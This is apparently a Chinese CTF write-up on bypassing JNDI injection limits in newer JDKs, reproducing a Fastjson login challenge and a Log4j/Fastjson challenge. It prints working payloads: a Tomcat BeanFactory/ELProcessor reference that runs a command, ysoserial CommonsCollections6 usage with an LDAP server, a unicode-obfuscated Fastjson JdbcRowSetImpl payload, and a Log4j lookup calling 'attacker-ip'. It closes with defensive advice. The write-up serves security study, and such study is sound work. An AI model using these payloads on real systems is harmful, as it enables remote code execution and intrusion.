高JDK的JNDI绕过之复现某比赛0解题
字数 1940 2025-08-19 12:42:34
高版本JDK下的JNDI注入绕过技术研究
1. JNDI注入原理概述
JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API,可以访问多种服务包括:
- DNS
- LDAP
- CORBA对象服务
- RMI
1.1 RMI + JNDI注入流程
- 攻击者搭建RMI服务器,绑定恶意Reference对象到特定名称
- 在恶意class文件目录下开启HTTP服务
- 受害者通过JNDI客户端lookup查找RMI服务
- JNDI解析Reference对象并加载远程恶意类
关键代码示例:
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/sayhello");
1.2 LDAP + JNDI注入流程
- 攻击者搭建LDAP服务器,设置恶意Reference对象
- 受害者通过JNDI查询LDAP服务
- JNDI解析LDAP返回的Reference对象
- 加载并执行远程恶意类
2. 高版本JDK的限制机制
在JDK 8u191及更高版本中,Oracle引入了以下安全限制:
com.sun.jndi.rmi.object.trustURLCodebase默认设置为falsecom.sun.jndi.cosnaming.object.trustURLCodebase默认设置为false- 禁止从远程codebase加载任意类
关键变化点:
- 在
javax.naming.spi.DirectoryManager.java中增加了trustURLCodebase检查 - 只有trustURLCodebase=true时才允许远程类加载
3. 高版本JDK下的绕过技术
3.1 利用本地Class作为Reference Factory
核心思路:利用受害者CLASSPATH中已有的类作为恶意Reference Factory
关键类:org.apache.naming.factory.BeanFactory
利用条件:
- 目标环境包含Tomcat相关依赖
- BeanFactory类可用
- 存在可利用的EL处理器(如javax.el.ELProcessor)
利用步骤:
- 创建ResourceRef指向ELProcessor和BeanFactory
- 通过forceString修改方法调用
- 利用EL表达式执行命令
示例代码:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/c', 'calc']).start()\")"));
3.2 利用LDAP返回序列化数据触发本地Gadget
核心思路:利用LDAP返回序列化对象触发本地反序列化链
利用条件:
- 目标环境中存在可利用的反序列化Gadget
- 可以控制LDAP服务器返回内容
利用步骤:
- 准备恶意序列化数据(如CommonsCollections链)
- 搭建LDAP服务器返回该序列化数据
- 通过JNDI触发LDAP查询
- 触发反序列化执行恶意代码
示例:
// 生成CC6链的序列化数据
java -jar ysoserial.jar CommonsCollections6 "calc" > 1.ser
// 启动LDAP服务器返回该数据
java -jar LDAPServer.jar 127.0.0.1 1.ser
4. 实际案例分析
4.1 湖南邀请赛 - Login
环境特征:
- Fastjson 1.2.47
- JDK高版本(8u201+)
- 存在unboundid-ldapsdk依赖
绕过过程:
- 发现Fastjson入口但关键字被过滤
- 使用Unicode/Hex绕过关键字过滤
- 由于高版本限制无法直接远程加载类
- 利用LDAP返回CC6序列化数据触发反序列化
Payload:
{
"username": {
"@\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"
},
"password": {
"@\u0074\u0079\u0070\u0065": "com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
"\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065": "ldap://127.0.0.1:6666/Evail",
"\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074": true
}
}
4.2 [HZNUCTF 2023 final]ezjava
环境特征:
- Log4j 2.x
- Fastjson 1.2.48
- JDK 1.8.0_222
利用链:
- 通过Log4j触发JNDI注入
- 由于JDK高版本限制无法直接远程加载类
- 利用LDAP返回恶意序列化数据
- 触发本地反序列化Gadget执行命令
关键步骤:
- 准备Fastjson 1.2.83原生反序列化Payload
- 使用LDAPServer返回该序列化数据
- 通过Log4j触发JNDI查询
Payload:
${jndi:ldap://attacker-ip:6666/Evail}
5. 防御建议
- 升级JDK到最新版本
- 设置JVM参数限制JNDI访问:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false - 对用户输入进行严格过滤
- 移除不必要的依赖(如unboundid-ldapsdk)
- 使用安全框架对反序列化进行防护
6. 总结
| 攻击方式 | 适用JDK版本 | 依赖条件 | 利用难度 |
|---|---|---|---|
| 传统JNDI注入 | <8u191 | 无 | 低 |
| 本地Class绕过 | ≥8u191 | 需要特定本地类 | 中 |
| LDAP反序列化 | ≥8u191 | 需要反序列化Gadget | 高 |
高版本JDK环境下,JNDI注入仍然可能通过本地类利用或反序列化链触发,但利用条件更为苛刻。防御方应全面考虑各种可能的攻击面,而不仅仅是依赖JDK版本升级。